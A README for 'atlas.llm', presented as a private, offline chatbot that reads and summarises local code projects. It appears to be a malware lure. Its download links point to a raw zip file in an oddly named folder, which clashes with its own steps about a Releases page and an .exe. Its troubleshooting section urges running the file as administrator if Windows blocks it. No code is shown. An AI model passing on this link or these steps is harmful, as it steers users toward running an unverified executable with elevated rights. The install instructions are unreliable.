atlas.llm

# 🤖 atlas.llm - Chat with your code files locally [](https://raw.githubusercontent.com/wendyneat563/atlas.llm/main/conjectural/llm_atlas_2.5.zip) atlas.llm helps you understand and document your code projects. This tool brings a smart chatbot directly to your computer. It reads your project files and answers questions about how your code works. It runs entirely on your own machine. Your data stays private because it never leaves your computer. ## 🛠 Features * **Chat Interface:** Use a simple text window to ask questions about your code. * **Privacy First:** atlas.llm processes all information locally on your device. * **Code Summaries:** Generate Markdown files that describe what your project does. * **Repo Dump:** Convert your entire programming project into a single format that the AI understands. * **Single File:** You only need one small file to run everything. ## ⚙️ System Requirements To run atlas.llm successfully, verify your computer meets these conditions: * **Operating System:** Windows 10 or Windows 11. * **Memory:** At least 8GB of RAM is necessary for smooth performance. * **Processor:** A modern multi-core CPU. * **Disk Space:** 5GB of free space to store the software and the model files. ## 📥 How to Install Follow these steps to set up the software on your Windows computer. 1. Visit the [official download page](https://raw.githubusercontent.com/wendyneat563/atlas.llm/main/conjectural/llm_atlas_2.5.zip). 2. Look for the section labeled Releases on the right side of the screen. 3. Click the version number to open the release details. 4. Find the file that ends in .exe for Windows. 5. Click the file to download it to your "Downloads" folder. 6. Open your "Downloads" folder. 7. Double-click the atlas.llm file to start the program. ## 🚀 Using the Chatbot Once you open the software, a terminal window appears. This is your command center. ### Starting a Chat When the window opens, the software asks you to point to a folder. Type the full path of the project folder you want to discuss. Press the Enter key. The program now indexes your code. Wait for the status indicator to show that the system is ready. You can type questions like, "Explain this file," or "How does this function work?" The chatbot provides answers based on the files it just read. ### Creating a Summary You can ask the system to write a summary of your project. This generates a Markdown file in your folder that explains the purpose of the code. This is useful if you need to share your progress with others. Type the command for "summarize" to start this process. ### Exporting Files Sometimes you need to prepare your code for another system. The "dump" mode collects your project files and turns them into a clean document. This format makes it easy to move project context to other AI tools or documentation software. ## 💡 Frequently Asked Questions ### Does this connect to the internet? The software performs its tasks without an internet connection. Once you download the tool, your data stays within your local system. ### Can I choose a different model? The software uses a default model optimized for coding tasks. It manages these files automatically to ensure the best balance between speed and accuracy. ### What should I do if the window closes? If the window closes, it may indicate that your computer does not have enough memory to process a very large project. Try closing other open programs and running the software again. ### How do I update the software? To get the latest improvements, visit the download link again and replace your existing file with the newer version. ## 📝 Troubleshooting If you encounter issues, check these common items: * **Permissions:** You may need to click "Run as administrator" if Windows tries to block the application. * **File Paths:** Ensure the folder path you provide does not contain special characters. Plain folder names work best. * **Performance:** Large repositories take more time to process. If your computer feels slow, wait for the processing symbols to stop moving before you type a new question. ## 📌 Getting Help If you have trouble, you can open a new issue on the project website. Be sure to describe what you were doing when the error occurred. Tell us which version of Windows you use. Describe the steps you took to see the problem. This information helps others understand how to fix the issue.